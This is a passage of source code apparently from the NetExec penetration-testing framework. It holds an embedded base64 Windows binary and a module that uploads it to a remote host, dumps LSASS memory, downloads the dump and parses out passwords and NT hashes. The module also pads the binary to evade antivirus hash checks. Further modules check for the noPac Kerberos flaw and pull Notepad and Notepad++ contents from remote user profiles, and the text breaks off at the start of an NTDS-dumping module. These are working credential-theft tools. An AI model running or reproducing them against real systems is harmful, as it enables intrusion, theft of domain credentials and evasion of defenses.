QAAAAHAAAAJyn//8FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADyAAQAAAAAAAAAAAICGAQBcgQEAmIABAAAAAAAAAAAAUIcBALiBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAHyCAQCUggEArIIBALqCAQDKggEA3oIBAPKCAQAEgwEAFoMBACiDAQA0gwEAQIMBAFyDAQBwgwEAiIMBAJiDAQCugwEAzIMBANSDAQDigwEA9IMBAASEAQAAAAAAGoQBACqEAQA2hAEARoQBAFSEAQBkhAEAcoQBAISEAQCYhAEApoQBALCEAQC6hAEAxoQBAM6EAQDWhAEA4IQBAOqEAQD2hAEA/oQBAAaFAQAQhQEAGIUBACKFAQAqhQEAMoUBADyFAQBKhQEAVIUBAGCFAQBqhQEAdIUBAH6FAQCGhQEAkoUBAJyFAQCkhQEAroUBALqFAQDEhQEAzoUBANiFAQDihQEA7IUBAPiFAQAAhgEACoYBABSGAQAehgEAAAAAAHyCAQCUggEArIIBALqCAQDKggEA3oIBAPKCAQAEgwEAFoMBACiDAQA0gwEAQIMBAFyDAQBwgwEAiIMBAJiDAQCugwEAzIMBANSDAQDigwEA9IMBAASEAQAAAAAAGoQBACqEAQA2hAEARoQBAFSEAQBkhAEAcoQBAISEAQCYhAEApoQBALCEAQC6hAEAxoQBAM6EAQDWhAEA4IQBAOqEAQD2hAEA/oQBAAaFAQAQhQEAGIUBACKFAQAqhQEAMoUBADyFAQBKhQEAVIUBAGCFAQBqhQEAdIUBAH6FAQCGhQEAkoUBAJyFAQCkhQEAroUBALqFAQDEhQEAzoUBANiFAQDihQEA7IUBAPiFAQAAhgEACoYBABSGAQAehgEAAAAAABUBRGVsZXRlQ3JpdGljYWxTZWN0aW9uADYBRW50ZXJDcml0aWNhbFNlY3Rpb24AALEBRnJlZUxpYnJhcnkAaQJHZXRMYXN0RXJyb3IAAH0CR2V0TW9kdWxlSGFuZGxlQQAAgAJHZXRNb2R1bGVIYW5kbGVXAAC2AkdldFByb2NBZGRyZXNzAAC8AkdldFByb2Nlc3NIZWFwAADZAkdldFN0YXJ0dXBJbmZvQQBQA0hlYXBBbGxvYwBWA0hlYXBGcmVlAABtA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AjQNJc0RCQ1NMZWFkQnl0ZUV4AADNA0xlYXZlQ3JpdGljYWxTZWN0aW9uAADRA0xvYWRMaWJyYXJ5QQAAAARNdWx0aUJ5dGVUb1dpZGVDaGFyAFoFU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAGoFU2xlZXAAjQVUbHNHZXRWYWx1ZQC9BVZpcnR1YWxQcm90ZWN0AADABVZpcnR1YWxRdWVyeQAA8gVXaWRlQ2hhclRvTXVsdGlCeXRlADoAX19nZXRtYWluYXJncwA7AF9faW5pdGVudgBFAF9fbWJfY3VyX21heAAATABfX3BfX2FjbWRsbgBOAF9fcF9fY29tbW9kZQAAUwBfX3BfX2Ztb2RlAABoAF9fc2V0X2FwcF90eXBlAABrAF9fc2V0dXNlcm1hdGhlcnIAAI4AX2Ftc2dfZXhpdAAAnwBfY2V4aXQAAEIBX2Vycm5vAABSAV9pbml0dGVybQBWAV9pb2IAALkBX2xvY2sAOgJfb25leGl0AOECX3VubG9jawAfA193Y3NpY21wAACaA2Fib3J0AKMDYXRvaQAApwNjYWxsb2MAALEDZXhpdAAAwgNmcHJpbnRmAMQDZnB1dGMAyQNmcmVlAADWA2Z3cml0ZQAA/wNsb2NhbGVjb252AAADBG1hbGxvYwAABgRtYnN0b3djcwAACgRtZW1jbXAAAAsEbWVtY3B5AAA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" ) self.nano = "nano.exe" self.nano_path = "" self.useembeded = True # Add some random binary data to defeat AVs which check the file hash padding = datetime.now().strftime("%Y%m%d%H%M%S").encode() self.nano_embedded64 += padding self.nano_embedded32 += padding if "NANO_PATH" in module_options: self.nano_path = module_options["NANO_PATH"] self.useembeded = False else: self.nano_path = f"{tempfile.gettempdir()}" self.dir_result = self.nano_path if "NANO_EXE_NAME" in module_options: self.nano = module_options["NANO_EXE_NAME"] self.useembeded = False if "TMP_DIR" in module_options: self.remote_tmp_dir = module_options["TMP_DIR"] if "DIR_RESULT" in module_options: self.dir_result = module_options["DIR_RESULT"] def on_admin_login(self, context, connection): self.connection = connection self.context = context if self.useembeded: with open(os.path.join(self.nano_path, self.nano), "wb") as nano: if self.connection.os_arch == 32 and self.context.protocol == "smb": self.context.log.display("32-bit Windows detected.") nano.write(self.nano_embedded32) elif self.connection.os_arch == 64 and self.context.protocol == "smb": self.context.log.display("64-bit Windows detected.") nano.write(self.nano_embedded64) elif self.context.protocol == "mssql": nano.write(self.nano_embedded64) else: self.context.log.fail("Unsupported Windows architecture") sys.exit(1) if self.context.protocol == "smb": with open(os.path.join(self.nano_path, self.nano), "rb") as nano: try: self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read) self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}") except Exception as e: self.context.log.fail(f"Error writing file to share {self.share}: {e}") else: with open(os.path.join(self.nano_path, self.nano), "rb") as nano: try: self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}") exec_method = MSSQLEXEC(self.connection.conn, self.context.log) exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano) if exec_method.file_exists(self.remote_tmp_dir + self.nano): self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}") else: self.context.log.fail("File does not exist on the remote system... error during upload") sys.exit(1) except Exception as e: self.context.log.fail(f"Error writing file to remote machine directory {self.remote_tmp_dir}: {e}") # apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display()) # if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the # execution fails, which it doesn't display_output = self.context.protocol == "smb" self.context.log.debug(f"Display Output: {display_output}") # get LSASS PID via `tasklist` command = 'tasklist /v /fo csv | findstr /i "lsass"' self.context.log.display(f"Getting LSASS PID via command {command}") p = self.connection.execute(command, display_output) self.context.log.debug(f"tasklist Command Result: {p}") if not p or p == "None": self.context.log.fail("Failed to execute command to get LSASS PID") return if len(p) == 1: p = p[0] pid = p.split(",")[1][1:-1] self.context.log.debug(f"pid: {pid}") timestamp = datetime.today().strftime("%Y%m%d_%H%M") nano_log_name = f"{timestamp}.log" command = f"{self.remote_tmp_dir}{self.nano} --pid {pid} --write {self.remote_tmp_dir}{nano_log_name}" self.context.log.display(f"Executing command {command}") p = self.connection.execute(command, display_output) self.context.log.debug(f"NanoDump Command Result: {p}") if not p or p == "None": self.context.log.fail("Failed to execute command to execute NanoDump") self.delete_nanodump_binary() return # results returned are different between SMB and MSSQL full_results = " ".join(p) if self.context.protocol == "mssql" else p if "Done" in full_results: self.context.log.success("Process lsass.exe was successfully dumped") dump = True else: self.context.log.fail("Process lsass.exe error on dump, try with verbose") dump = False if not dump: self.delete_nanodump_binary() return else: self.context.log.display(f"Copying {nano_log_name} to host") filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log") if self.context.protocol == "smb": with open(filename, "wb+") as dump_file: try: self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write) self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") except Exception as e: self.context.log.fail(f"Error while getting file: {e}") try: self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano) self.context.log.success(f"Deleted nano file on the {self.share} share") except Exception as e: self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}") try: self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name) self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share") except Exception as e: self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}") else: try: exec_method = MSSQLEXEC(self.connection.conn, self.context.log) exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename) self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") except Exception as e: self.context.log.fail(f"Error while getting file: {e}") self.delete_nanodump_binary() try: self.connection.execute(f"del {self.remote_tmp_dir + nano_log_name}") self.context.log.success(f"Deleted lsass.dmp file on the {self.remote_tmp_dir} dir") except Exception as e: self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.remote_tmp_dir}: {e}") with open(filename, "r+b") as fh: # needs the "r+b", not "rb" like below fh.seek(0) fh.write(b"\x4d\x44\x4d\x50") fh.seek(4) fh.write(b"\xa7\x93") fh.seek(6) fh.write(b"\x00\x00") with open(filename, "rb") as dump: try: bh_creds = [] try: pypy_parse = pypykatz.parse_minidump_external(dump) except Exception as e: pypy_parse = None self.context.log.fail(f"Error parsing minidump: {e}") ssps = [ "msv_creds", "wdigest_creds", "ssp_creds", "livessp_creds", "kerberos_creds", "credman_creds", "tspkg_creds", ] for luid in pypy_parse.logon_sessions: for ssp in ssps: for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) NThash = getattr(cred, "NThash", None) if NThash is not None: NThash = NThash.hex() if username and (password or NThash) and "$" not in username: if password: credtype = "password" credential = password else: credtype = "hash" credential = NThash self.context.log.highlight(f"{domain}\\{username}:{credential}") host_id = self.context.db.get_hosts(self.connection.host)[0][0] self.context.db.add_credential( credtype, connection.domain, username, credential, pillaged_from=host_id, ) if "." not in domain and domain.upper() in self.connection.domain.upper(): domain = self.connection.domain bh_creds.append( { "username": username.upper(), "domain": domain.upper(), } ) if len(bh_creds) > 0: add_user_bh(bh_creds, None, self.context.log, self.connection.config) except Exception as e: self.context.log.fail(f"Error opening dump file: {e}") def delete_nanodump_binary(self): try: self.connection.execute(f"del {self.remote_tmp_dir + self.nano}") self.context.log.success(f"Deleted nano file on the {self.share} dir") except Exception as e: self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.remote_tmp_dir}: {e}") NetExec-1.5.1/nxc/modules/nopac.py000066400000000000000000000042601514706431700167750ustar00rootroot00000000000000# Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html # @exploitph @Evi1cg # module by @mpgn_x64 from binascii import unhexlify from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants from impacket.krb5.types import Principal from nxc.helpers.misc import CATEGORY class NXCModule: name = "nopac" description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """No options available""" def on_login(self, context, connection): if not connection.username: context.log.fail("Module requires a username to request TGTs") return user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: tgt_with_pac, cipher, old_session_key, session_key = getKerberosTGT( user_name, connection.password, connection.domain, unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey, connection.host, requestPAC=True, ) context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac))) tgt_no_pac, cipher, old_session_key, session_key = getKerberosTGT( user_name, connection.password, connection.domain, unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey, connection.host, requestPAC=False, ) context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac))) if len(tgt_no_pac) < len(tgt_with_pac): context.log.highlight("") context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/Ridter/noPac") except OSError: context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}") NetExec-1.5.1/nxc/modules/notepad++.py000066400000000000000000000050421514706431700174540ustar00rootroot00000000000000from io import BytesIO from os import makedirs from os.path import join, abspath from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH class NXCModule: # Finds notepad++ unsaved backup files # Module by @Defte_ name = "notepad++" description = "Extracts notepad++ unsaved files." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] def options(self, context, module_options): """""" def on_admin_login(self, context, connection): found = 0 for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): try: notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): file_path = f"{notepad_backup_dir}{file.get_longname()}" if file.get_longname() not in self.false_positive: found += 1 file_path = f"{notepad_backup_dir}{file.get_longname()}" buf = BytesIO() connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) file_content = buf.read().decode("utf-8", errors="ignore").lower() context.log.highlight(f"C:\\{file_path}") for line in file_content.splitlines(): context.log.highlight(f"\t{line}") filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" export_path = join(NXC_PATH, "modules", "notepad++") path = abspath(join(export_path, filename)) makedirs(export_path, exist_ok=True) try: with open(path, "w+") as file: file.write(file_content) context.log.highlight(f"Notepad++ backup written to: {path}") except Exception as e: context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}") except Exception: pass NetExec-1.5.1/nxc/modules/notepad.py000066400000000000000000000217601514706431700173330ustar00rootroot00000000000000from io import BytesIO from os import makedirs from os.path import join, abspath import re import time from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH from impacket.smbconnection import SessionError smb_error_status = [ "STATUS_ACCOUNT_DISABLED", "STATUS_ACCOUNT_EXPIRED", "STATUS_ACCOUNT_RESTRICTION", "STATUS_INVALID_LOGON_HOURS", "STATUS_INVALID_WORKSTATION", "STATUS_LOGON_TYPE_NOT_GRANTED", "STATUS_PASSWORD_EXPIRED", "STATUS_PASSWORD_MUST_CHANGE", "STATUS_ACCESS_DENIED", "STATUS_NO_SUCH_FILE", "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED", ] class NXCModule: # Extracts content from Windows Notepad binary tab state files # Module by @termanix name = "notepad" description = "Extracts content from Windows Notepad tab state binary files." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None): self.context = context self.false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$" def options(self, context, module_options): """KILL // Kill for notepad.exe process. Default False.""" if "KILL" not in module_options: self.kill = False else: self.kill = module_options["KILL"] def extract_strings(self, data, min_length=4): """Extract printable strings from binary data, similar to the strings command.""" results = [] # ASCII strings extraction ascii_strings = re.findall(b"[ -~]{%d,}" % min_length, data) for s in ascii_strings: try: results.append(("ASCII", s.decode("ascii"))) except Exception as e: self.context.log.fail(f"Failed extracting ASCII strings: {e}") # UTF-16LE strings extraction (common in Windows) utf16_pattern = re.compile(b"(?:[\x20-\x7E]\x00){%d,}" % min_length) utf16_strings = utf16_pattern.findall(data) for s in utf16_strings: try: decoded = s.decode("utf-16-le") results.append(("UTF-16LE", decoded)) except Exception as e: self.context.log.fail(f"Failed extracting UTF-16LE strings: {e}") return results def is_meaningful_content(self, string): """Check if a string has meaningful content.""" # Filter out strings that are just repetitions of the same character if len(set(string)) <= 2 and len(string) > 4: return False # Filter out strings that don't have any letters or numbers if not any(c.isalnum() for c in string): return False # Filter out strings that look like memory addresses or hex dumps if re.match(r"^[0-9A-F]+$", string) and len(string) >= 8: return False # Filter out strings that are just whitespace or control characters if string.isspace(): return False # Filter out common binary file markers that aren't actual content common_garbage = ["NULL", "true", "false", "xmlns", "http://", "https://", "COM1", "COM2", "COM3"] return string not in common_garbage def read_and_decode_file(self, connection, context, file_path, user): buf = BytesIO() try: connection.conn.getFile("C$", file_path, buf.write) except Exception as e: if "STATUS_SHARING_VIOLATION" in str(e): # It means notepad.exe is open on target. if self.kill: try: context.log.debug(f"Trying to kill notepad.exe process for {user} user.") # To Do: Kill process with RPC, connection.execute can be detect by EDRs and module wont work. Or copy the target bin files without trigger the EDRs connection.execute("taskkill /IM notepad.exe /F") # If notepad.exe open by user, needs to kill that process for reading files. time.sleep(1) # Sleep 1 sec for finding and reading processing context.log.debug(f"Notepad process was successfully killed for {user}") connection.conn.getFile("C$", file_path, buf.write) except Exception as e: context.log.debug(f"Alternative method failed: {e}") else: context.log.fail("Notepad.exe is open on target. If want to kill process, add kill option true. (-o KILL=True)") return [] else: # If it's a different error, just skip this file context.log.debug(f"Error accessing {file_path}: {e}") buf.seek(0) binary_data = buf.read() # Return only the meaningful strings return [ string for _, string in self.extract_strings(binary_data) if self.is_meaningful_content(string) ] def on_admin_login(self, context, connection): self.context = context context.log.display("Searching for Notepad cache...") for directory in connection.conn.listPath("C$", "Users\\*"): found = 0 if directory.get_longname() in self.false_positive or not directory.is_directory(): continue # Path for Windows Notepad tab state files notepad_dir = f"Users\\{directory.get_longname()}\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\LocalState\\TabState\\" try: for file in connection.conn.listPath("C$", f"{notepad_dir}\\*"): if file.get_longname() not in self.false_positive and file.get_longname().endswith(".bin"): file_path = f"{notepad_dir}{file.get_longname()}" # Read the binary file meaningful_strings = self.read_and_decode_file(connection, context, file_path, directory.get_longname()) if meaningful_strings: found += 1 context.log.highlight(f"C:\\{file_path}") # Output content content_lines = [] # First loop to handle meaningful strings for string in meaningful_strings: if bool(re.match(self.FILE_PATH_REGEX, string)): # Only needed if checking locally # Read the file into a buffer meaningful_strings = self.read_and_decode_file(connection, context, string[2:], directory.get_longname()) # Second loop to handle content inside the file for string in meaningful_strings: context.log.highlight(f"\t{string}") content_lines.append(string) # Store the string value only else: context.log.highlight(f"\t{string}") content_lines.append(string) # Store the string value only # Save to file filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt" export_path = join(NXC_PATH, "modules", "notepad") path = abspath(join(export_path, filename)) makedirs(export_path, exist_ok=True) with open(path, "w+") as output_file: output_file.write(f"Source: C:\\{file_path}\n\n") output_file.write("\n".join(content_lines)) # Write strings line by line context.log.success(f"Notepad tab state content written to: {path}") except SessionError as e: error = self.get_error_string(e) if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND": context.log.debug(f"Failed for user {directory.get_longname()}: {e}") else: context.log.fail( f"Error enumerating shares: {error}", color="magenta" if error in smb_error_status else "red", ) if found == 0: context.log.info("No Notepad tab state files with meaningful content found") def get_error_string(self, exception): if hasattr(exception, "getErrorString"): try: es = exception.getErrorString() except KeyError: return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}" if type(es) is tuple: return es[0] else: return es else: return str(exception) NetExec-1.5.1/nxc/modules/ntds-dump-raw.py000066400000000000000000000651461514706431700204110ustar00rootroot00000000000000# raw-ntds-copy module for nxc # Author of the module : Bilal Github:@0xb11a1, X:@0xcc00 from base64 import b64decode, b64encode from os import makedirs from os.path import join, abspath from nxc.paths import TMP_PATH import struct from dataclasses import dataclass, field import random import gzip from io import BytesIO from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes, LSASecrets from nxc.helpers.misc import CATEGORY, validate_ntlm from nxc.helpers.powershell import get_ps_script import sys class NXCModule: name = "ntds-dump-raw" description = 